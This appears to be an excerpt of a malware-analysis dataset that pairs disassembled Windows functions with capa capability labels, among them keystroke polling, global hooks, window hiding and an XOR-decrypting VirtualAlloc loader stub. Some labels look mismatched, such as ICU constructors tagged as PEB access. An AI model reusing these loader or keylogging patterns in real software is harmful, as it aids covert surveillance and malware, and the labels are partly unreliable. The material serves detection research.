joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5104c3f8
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x5104c430]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x5104c411
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x5104c420
or bl, 4
test esi, 0x20000000
je 0x5104c42b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x51052af4
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x51052b06
add esp, 0xfffffff0
call fcn.5100399c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.5101a32c
mov eax, dword [0x5105fee8]
mov dword [eax + 4], ebx
mov dword [eax], 0x51052e98
mov eax, dword [0x5105fef4]
mov dword [eax + 4], ebx
mov dword [eax], 0x51052ea4
mov eax, ebx
call fcn.51052eb0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x51012624]
call fcn.51003634
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x51012624]
call fcn.51003634
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x51012624]
call fcn.51003634
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x51012624]
call fcn.51003634
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x51012624]
call fcn.51003634
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x5104f2c8
push eax
push 0
push 0
mov eax, dword [0x5106003c]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x5101bd90]
call fcn.5101d528
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x5101bd90]
call fcn.5101d528
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x5101bd90]
call fcn.5101d528
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.51053300
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x510531c8
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x510531c8
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x510531c8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x51052c43
call fcn.510039f4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x51052fac
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x51053157
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x51053138
mov dl, 1
mov eax, dword [0x51012a40]
call fcn.51003634
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.510043f0
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x51053127
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.51040eec
test al, al
je 0x5105311a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x51053168
lea eax, [ebp - 0x254]
call fcn.5100980c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x5105311a
xor eax, eax
push ebp
push 0x51053113
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x510531a0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x510530fc
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.51004660
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x510530fc
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.51004660
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5105311a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x5105301d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.5101651c
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5105315e
lea eax, [ebp - 0x260]
call fcn.510043f0
ret

Function at 0x51053aa0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x51061bdc]
cmp byte [eax + 0xa5], 0
jne 0x51053b11
cmp dword [0x51061bf4], 0
jne 0x51053ad2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x51053a5c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x51061bf4], eax
cmp dword [0x51061bf0], 0
jne 0x51053aed
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x51061bf0], eax
cmp dword [0x51061bf8], 0
jne 0x51053b11
push esp
push 0
push 0
push 0x51053a00
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x51061bf8], eax
pop edx
ret
Function at 0x510541a4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x51061bdc]
cmp dword [eax + 0x30], 0
je 0x5105424e
cmp dword [ebx + 0x94], 0
jne 0x51054248
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x51054134
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x51054248
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x5105420e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x51054248
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.5101498c
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x5105421d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x51054dac
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x51054de1
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.510044e0
jmp 0x51054dee
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.51004444
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x51055fa8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x51055fe9
mov eax, esi
call fcn.5103c518
test al, al
je 0x51055fe9
mov eax, dword [ebx + 0x84]
call fcn.5103c214
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x51055fe9
push 0
mov eax, dword [ebx + 0x84]
call fcn.5103c214
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x51056a1c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov ebp, ecx
mov esi, edx
mov dword [esp], eax
mov eax, dword [esp]
call fcn.510046b0
mov edx, eax
mov eax, ebp
call fcn.51004a3c
mov eax, dword [esp]
call fcn.510046b0
mov edi, eax
test edi, edi
jle 0x51056a80
mov ebx, 1
mov eax, ebp
call fcn.51004908
mov edx, dword [esp]
mov dl, byte [edx + ebx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
mov byte [eax + ebx - 1], dl
mov eax, dword [ebp]
movzx eax, byte [eax + ebx - 1]
add esi, eax
imul eax, esi, 0xce6d
add eax, 0x58bf
mov esi, eax
inc ebx
dec edi
jne 0x51056a4c
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x51056a88
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov dword [esp], ecx
mov esi, edx
mov edi, eax
mov eax, edi
call fcn.510046b0
mov edx, eax
mov eax, dword [esp]
call fcn.51004a3c
mov eax, edi
call fcn.510046b0
mov ebp, eax
test ebp, ebp
jle 0x51056ae7
mov ebx, 1
mov eax, dword [esp]
call fcn.51004908
mov dl, byte [edi + ebx - 1]
mov ecx, esi
shr ecx, 8
xor dl, cl
mov byte [eax + ebx - 1], dl
xor eax, eax
mov al, byte [edi + ebx - 1]
add esi, eax
imul eax, esi, 0xce6d
add eax, 0x58bf
mov esi, eax
inc ebx
dec ebp
jne 0x51056ab7
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x51059b38
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount
mov ebx, eax
mov eax, dword [0x510600bc]
mov eax, dword [eax]
call fcn.510550ec
call sub.kernel32.dll_GetTickCount
xor edx, edx
push edx
push eax
mov eax, ebx
cdq
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x51059b79
cmp eax, dword [esp]
pop edx
pop eax
jae 0x51059b43
pop esi
pop ebx
ret
pop edx
pop eax
jge 0x51059b43
pop esi
pop ebx
ret
Function at 0x5105a908
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x4c], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.510048a0
mov eax, dword [ebp - 8]
call fcn.510048a0
mov edi, 0x51061d1c
xor eax, eax
push ebp
push 0x5105aab0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x48]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x48], 0x3c
mov dword [ebp - 0x44], 0x40
mov eax, dword [0x510600bc]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x40], eax
mov eax, 0x5105aac0
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 4]
call fcn.510048b0
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x4c]
mov ecx, 0x5105aad0
mov edx, dword [ebp - 8]
call fcn.510046fc
mov eax, dword [ebp - 0x4c]
call fcn.510048b0
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ebx
xor eax, eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xc]
push eax
call sub.shell32.dll_ShellExecuteExA
mov eax, dword [edi]
mov eax, dword [eax + 0x2fc]
mov edx, 0x5105aadc
call fcn.51035a5c
mov eax, dword [edi]
mov eax, dword [eax + 0x300]
mov edx, 0x5105ab08
call fcn.51035a5c
mov eax, dword [edi]
mov eax, dword [eax + 0x304]
mov edx, 0x5105ab20
call fcn.51035a5c
mov eax, dword [edi]
mov eax, dword [eax + 0x304]
mov eax, dword [eax + 0x68]
xor edx, edx
call fcn.5101d6fc
mov eax, dword [edi]
mov eax, dword [eax + 0x304]
mov eax, dword [eax + 0x68]
mov dl, byte [0x5105ab58]
call fcn.5101d9c8
mov eax, dword [edi]
mov eax, dword [eax + 0x2fc]
mov edx, dword [eax]
call dword [edx + 0x7c]
mov eax, dword [edi]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0x7c]
mov eax, dword [edi]
mov eax, dword [eax + 0x304]
mov edx, dword [eax]
call dword [edx + 0x7c]
mov bl, 1
push 0x5dc
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov esi, eax
cmp bl, 1
jne 0x5105aa58
xor ebx, ebx
mov eax, dword [edi]
mov eax, dword [eax + 0x300]
mov edx, 0x5105ab64
call fcn.51035a5c
jmp 0x5105aa6c
mov bl, 1
mov eax, dword [edi]
mov eax, dword [eax + 0x300]
mov edx, 0x5105ab08
call fcn.51035a5c
mov eax, dword [edi]
mov eax, dword [eax + 0x300]
mov edx, dword [eax]
call dword [edx + 0x7c]
mov eax, dword [0x510600bc]
mov eax, dword [eax]
call fcn.510550ec
cmp esi, 0x102
je 0x5105aa2d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5105aab7
lea eax, [ebp - 0x4c]
call fcn.510043f0
lea eax, [ebp - 8]
mov edx, 2
call fcn.51004414
ret
Function at 0x5105ccd8
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.510048a0
xor eax, eax
push ebp
push 0x5105cdc0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, 0x5105cdd4
call fcn.51004488
lea eax, [ebp - 0xc]
call fcn.510043f0
mov eax, dword [ebx + 0x31c]
mov eax, dword [eax + 0x220]
mov edx, dword [eax]
call dword [edx + 0x44]
push 0x1388
call sub.kernel32.dll_Sleep_1
push 0x5105cdec
push dword [ebp - 4]
push 0x5105ce1c
push 0x5105ce28
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.51004770
mov al, 1
call fcn.5105a80c
push 1
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.510048b0
push eax
push 0x5105ce2c
mov eax, ebx
call fcn.5103c214
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.5105a80c
mov eax, dword [ebx + 0x31c]
mov eax, dword [eax + 0x220]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebx + 0x31c]
call fcn.5102e528
mov eax, dword [ebx + 0x31c]
call fcn.5102e50c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5105cdc7
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.51004414
ret

Function at 0x5105ce34
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x5105cf40
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x5105cf58
call fcn.51004488
lea eax, [ebp - 8]
call fcn.510043f0
mov eax, dword [esi + 0x31c]
mov eax, dword [eax + 0x220]
mov edx, dword [eax]
call dword [edx + 0x44]
push 0x1388
call sub.kernel32.dll_Sleep_1
mov dl, 1
mov eax, dword [0x51012a40]
call fcn.51003634
mov ebx, eax
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x44]
xor edx, edx
mov eax, ebx
call fcn.5101651c
mov eax, ebx
call fcn.5105c2b0
lea edx, [ebp - 0xc]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
mov ecx, 0x5105cf70
call fcn.510046fc
mov eax, ebx
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, ebx
call fcn.51003664
mov al, 1
call fcn.5105a80c
push 1
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.510048b0
push eax
push 0x5105cf74
mov eax, esi
call fcn.5103c214
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
call fcn.5105a80c
mov eax, dword [esi + 0x31c]
mov eax, dword [eax + 0x220]
mov edx, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [esi + 0x31c]
call fcn.5102e528
mov eax, dword [esi + 0x31c]
call fcn.5102e50c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5105cf47
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.51004414
ret
Function at 0x10034690
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x10200c9c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x102044b0]
mov dword [ebp - 0x60], 0
test eax, eax
jne 0x1003477f
push 0x55
push 0x102044b8
push 0x5c
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10034768
push esi
push 0x55
lea eax, [ebp - 0x5c]
push 0
push eax
call fcn.1010ca00
add esp, 0xc
mov esi, 0x2d
xor edx, edx
nop dword [eax]
nop dword [eax + eax]
movzx eax, word [edx*2 + 0x102044b8]
cmp eax, 0x5f
movzx ecx, al
cmove ecx, esi
mov byte [ebp + edx - 0x5c], cl
test cl, cl
je 0x10034713
inc edx
cmp edx, 0x55
jl 0x100346f0
mov byte [ebp - 8], 0
push 0x41
call fcn.10051290
mov esi, eax
add esp, 4
test esi, esi
je 0x10034767
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.10051290
add esp, 0x10
cmp dword [ebp - 0x60], 0
jg 0x1003475e
push 0x10033e30
push 0x17
mov byte [eax + esi], 0
mov dword [0x102044b0], esi
mov byte [0x102044b4], 1
call fcn.10051290
add esp, 8
jmp 0x10034767
push esi
call fcn.10051290
add esp, 4
pop esi
mov eax, dword [0x102044b0]
mov ecx, 0x1016b5e8
test eax, eax
cmovne ecx, eax
mov dword [0x102044b0], ecx
mov eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100e9efb
mov esp, ebp
pop ebp
ret
Function at 0x10051290
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x1005129f
pop dword [ebp - 8]
mov eax, 0xb93795c7
sub eax, 0xa9328328
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x8a3f7
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0xe7daef30
add ecx, 0x182554d4
xor edi, edi
add edi, eax
mov ebx, 0x10215c00
add ebx, dword [ebp - 8]
mov esi, 0xbd1c1a92
add dword [ebp - 4], 0x62b7872d
mov edx, dword [ebx]
xor edx, esi
sub dword [ebp - 4], ebx
mov dword [edi], edx
add edi, 0x59aeb167
sub edi, 0x59aeb163
add ebx, 4
loop 0x100512ef
add eax, 0x4d9bf637
sub eax, 0x4d9af354
mov ebx, eax
add eax, 0x2caf5bf1
add eax, 0xd350a414
mov ecx, 0x10000000
add ecx, dword [ebp - 8]
call ebx
leave
ret
Function at 0x100a94f0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b43
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [edi + 4], vtable.icu_69::UnicodeMatcher.0
mov esi, dword [ebp + 8]
lea eax, [edi + 0x34]
mov dword [edi], vtable.icu_69::UnicodeSet.0
mov dword [edi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [edi + 8], eax
mov dword [edi + 0xc], 0x19
mov dword [edi + 0x10], 1
mov byte [edi + 0x14], 0
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
push dword [esi + 0x10]
mov dword [ebp - 4], 0
call fcn.10051290
test al, al
je 0x100a96f1
mov eax, dword [esi + 0x10]
mov dword [edi + 0x10], eax
shl eax, 2
push eax
push dword [esi + 8]
push dword [edi + 8]
call fcn.1010cb60
mov eax, dword [esi + 0x2c]
add esp, 0xc
test eax, eax
je 0x100a9698
cmp dword [eax + 4], 0
je 0x100a9698
push 0x18
mov dword [ebp - 0x10], 0
call fcn.10051290
add esp, 4
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x100a95f8
lea ecx, [ebp - 0x10]
push ecx
push 1
push sym.icuuc69.dll_uhash_compareUnicodeString_69
push sym.icuuc69.dll_uprv_deleteUObject_69
mov ecx, eax
call fcn.10051290
mov ebx, eax
jmp 0x100a95fa
xor ebx, ebx
mov byte [ebp - 4], 0
mov dword [edi + 0x2c], ebx
test ebx, ebx
jne 0x100a960e
mov dword [ebp - 0x10], 7
jmp 0x100a9648
cmp dword [ebp - 0x10], 0
jle 0x100a962f
mov eax, dword [ebx]
push 1
mov esi, dword [eax]
mov ecx, esi
call dword [0x1015d234]
mov ecx, ebx
call esi
mov dword [edi + 0x2c], 0
jmp 0x100a9648
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0x100aae10
push dword [esi + 0x2c]
call fcn.10051290
cmp dword [ebp - 0x10], 0
jle 0x100a9698
cmp dword [edi + 0x18], 0
jne 0x100a9692
cmp dword [edi + 0x30], 0
jne 0x100a9692
mov eax, dword [edi + 8]
mov dword [eax], 0x110000
mov eax, dword [edi + 0x24]
mov dword [edi + 0x10], 1
test eax, eax
je 0x100a9682
push eax
call fcn.10051290
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov ecx, dword [edi + 0x2c]
test ecx, ecx
je 0x100a968e
call sym.icuuc69.dll_public:_void___thiscall_icu_69::UVector::removeAllElements_void_
mov byte [edi + 0x14], 0
mov byte [edi + 0x14], 1
jmp 0x100a96f1
mov ebx, dword [esi + 0x24]
test ebx, ebx
je 0x100a96f1
mov eax, dword [edi + 0x24]
mov esi, dword [esi + 0x28]
test eax, eax
je 0x100a96c0
push eax
call fcn.10051290
add esp, 4
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
lea eax, [esi*2 + 2]
push eax
call fcn.10051290
add esp, 4
mov dword [edi + 0x24], eax
test eax, eax
je 0x100a96f1
push esi
push ebx
push eax
mov dword [edi + 0x28], esi
call fcn.10051290
mov ecx, dword [edi + 0x28]
add esp, 0xc
mov eax, dword [edi + 0x24]
xor edx, edx
mov word [eax + ecx*2], dx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100a9710
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b68
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push 0
push dword [ebp + 8]
lea eax, [esi + 0x34]
mov dword [ebp - 4], 0
mov dword [esi], vtable.icu_69::UnicodeSet.0
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
call fcn.10051290
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x100a97c0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10158b98
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x10200c9c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi + 4], vtable.icu_69::UnicodeMatcher.0
push dword [ebp + 0xc]
lea eax, [esi + 0x34]
mov dword [esi], vtable.icu_69::UnicodeSet.0
push dword [ebp + 8]
mov dword [esi + 4], vtable.icu_69::UnicodeSet.1.0
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x19
mov dword [esi + 0x10], 1
mov byte [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov dword [esi + 0x1c], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0x28], 0
mov dword [esi + 0x2c], 0
mov dword [esi + 0x30], 0
mov dword [ebp - 4], 0
mov dword [eax], 0x110000
call fcn.10051290
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 8